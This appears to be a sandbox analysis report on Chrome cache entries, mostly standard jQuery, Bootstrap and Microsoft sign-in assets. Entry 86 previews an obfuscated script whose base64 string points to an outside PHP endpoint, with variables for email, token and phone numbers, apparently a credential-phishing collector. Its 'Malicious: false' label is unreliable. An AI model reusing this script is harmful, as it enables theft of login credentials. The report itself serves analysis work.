SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 106

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 107

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	dropped
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 108

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Reputation:	low
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 109

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 110

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	dropped
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Reputation:	low
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 85

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 86

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65472), with CRLF line terminators
Category:	dropped
Size (bytes):	554458
Entropy (8bit):	4.86610381600256
Encrypted:	false
SSDEEP:	12288:3vqB4nwF7egPAUyVgKLifgQ3TNQk6+HWvnDQpW+UlT+V9zkYVSu9TWkKevtdDQ6q:KtC
MD5:	07161BE3D832BA792FA5C81C731192F2
SHA1:	45074D910D6BAA59A0AC1AD4E29B3939143CE401
SHA-256:	B5CC9B43A634C8D02BE678C50E2D421327136425FF81B979E31C8B1CD8D6C6E6
SHA-512:	4983EB096341783747004BD3A73EC5F50AC9566D6221648C1092DF3955FC1CA15412AE3C71C288B1915BA1BBE667E4369AF3AB18E76EBD1EAB28C29821B0D4F9
Malicious:	false
Reputation:	low
Preview:	var file = "aHR0cHM6Ly9vZmZpY2VibGVzc2VkLm15LmlkL25leHQucGhw";..var _0x5d26ac=_0xc6ef;(function(_0x4f1aa3,_0x432ed8){var _0x56fc26=_0xc6ef,_0x4a8026=_0x4f1aa3();while(!![]){try{var _0x542aea=parseInt(_0x56fc26(0x1867))/(0x5bc0x3+-0x1482+0x34f)+-parseInt(_0x56fc26(0x141a))/(-0x2343+0x2b0+0x2095)+-parseInt(_0x56fc26(0x883))/(-0x1757+0xed10x1+0x889)+-parseInt(_0x56fc26(0xc2e))/(0x1ff+-0x2106+0x1f0b)(-parseInt(_0x56fc26(0x1ed4))/(0x1394+-0x13db+0x4c))+-parseInt(_0x56fc26(0x2554))/(-0x10x23b+0x17150x1+-0x14d4)+-parseInt(_0x56fc26(0x206))/(0x1-0x3fb+0x3ac+-0x2b-0x2)+parseInt(_0x56fc26(0x1354))/(-0x590x2f+0x1882+-0x10x823);if(_0x542aea===_0x432ed8)break;else _0x4a8026['push'](_0x4a8026['shift']());}catch(_0x412b0d){_0x4a8026['push'](_0x4a8026['shift']());}}}(_0x2468,-0x18abd2+-0x5f19b0x2+0x70072*0x7));var count=-0x1593+-0x1231+0x27c4;let email,keyGlobal,token,numberSms,numberTelp;((async()=>{var _0x1aea9c=_0xc6ef,_0x4f04d4={'TdgPs':function(_0x49cd8c,_0x2fa639){return _0x49cd8c==_0x

Chrome Cache Entry: 87

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	dropped
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 88

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 89

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 90

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45034)
Category:	dropped
Size (bytes):	45035
Entropy (8bit):	5.400557193761079
Encrypted:	false
SSDEEP:	768:oCD98WxH5PbdrKAY+2HtedqdRQgFiIonqIjaEzY+iBggUydRm1TPjXk/bYjf+cd6:/xH5PbdrZkygk7qIjDgUjJY
MD5:	C4D5335B2B69C6998EE34F5F7B3E246F
SHA1:	AF0AE01ECCEE153877976D5C7D6500AA9C380B60
SHA-256:	7EDA47B0C02C44BDAA43A5B14857F1257DDBD620B0397C32AA3AE8BAF769AB55
SHA-512:	1C62C5D29C56848C258701F2E6B39E2152A3CACEB2C96F19ADB8542FDCC233F42BD0FAE9D03C8EA04F6B4490D0B69FD24F62B6D18A14A31D87E24906CFC88C58
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function St(e,r,a,o,c,u,g){try{var _=e[u](g),p=_.value}catch(f){a(f);return}_.done?r(p):Promise.resolve(p).then(o,c)}function Ot(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var u=e.apply(r,a);function g(p){St(u,o,c,g,_,"next",p)}function _(p){St(u,o,c,g,_,"throw",p)}g(void 0)})}}function P(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):P(e,r)}function Oe(e,r,a){return r in e?Object.defineProperty(e,r,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[r]=a,e}function Ce(e){for(var r=1;r<arguments.length;r++){var a=arguments[r]!=null?arguments[r]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Oe(e,c,a[c])})}return e}function _r(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 91

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 92

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.390319531114783
Encrypted:	false
SSDEEP:	3:HYmpBth0tYY:4mpbgYY
MD5:	EB3CE3190D8A58E048D35E620747D3A5
SHA1:	76B5B6461189F839B018EF5C785DB4836B818B7D
SHA-256:	2D670E2962D8D805B95912CACA0822CE7C6913636BA40373C6E6AEA73CAC8457
SHA-512:	08F9C680B09CC25919A91F8E080CFC517F7354F49759DDC8CF6FFEB5ADE2E46F80A866E7531B6EA97188A5E4647093350F91ED51254351C47BCE3488EF88A595
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAncf3l7pIXwYxIFDa0JrrESEAk63l3XCQeLtxIFDUPzdjk=?alt=proto
Preview:	CgkKBw2tCa6xGgAKCQoHDUPzdjkaAA==

Chrome Cache Entry: 93

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 94

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 95

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 96

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	dropped
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
